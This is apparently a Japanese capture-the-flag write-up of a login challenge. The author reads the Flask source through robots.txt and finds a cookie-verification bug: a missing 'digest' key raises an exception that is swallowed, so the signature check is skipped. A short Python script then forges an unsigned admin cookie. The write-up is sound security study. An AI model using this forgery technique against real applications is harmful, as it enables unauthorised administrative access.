Are you here on official business? Prove it.
Connect here:
http://jh2i.com:50006
ログイン試行画面が出てくる。
とりあえずa:b
とかしてみると、Forbiddenで帰ってくる。
'
を入れてみてもForbidden。
さて、何から試そうか。
adminでログインせよと書いてあるので色々やっては見るが、うまくいかない。
他で攻撃できそうというとエスパーくらいしかないので、色々やってみると、/robots.txt
でソースコードが見られる。
@app.route("/login", methods=["POST"]) def login(): user = request.form.get("user", "") password = request.form.get("password", "") if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)
ここがログイン部分であるが、ハッシュ値に普通に英単語が入ってて、これを一致させるのは無理。
ログインを突破するのは難しそうだ。
ソースコードを眺めると、Cookieの署名判定にバグがある。
def load_cookie(): cookie = {} auth = request.cookies.get("auth") if auth: try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest") if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass return True, cookie
load_cookieの関数の正常動作では、Trueと中身が入ったcookieがかえってくることだが、
これを署名の確認無しに行うことができる。
注目すべきはtry部分であるが、例外が起きてexceptされても特に何もしていない。
なので、try内部のcookie代入はちゃんとやってもらって、それ以降で例外を起こせば、cookieはちゃんと入っているがTrueでも返すことができる。
例外を発生させる箇所はdigestの代入部分で、cookieにdigestが含まれていないと例外が発生する。
よって、cookieをこちらで作成するが、意図的にdigestだけぬかして作成すればいい。
以下コードでcookieに入れる値を作成した。
import hashlib import json import binascii cookie = {"user": "admin", "password": "abc", "admin": True} val = binascii.hexlify(json.dumps(cookie).encode("utf8")) print(val)
これをauth
キーとして入れて/
にアクセスすればフラグが出てくる。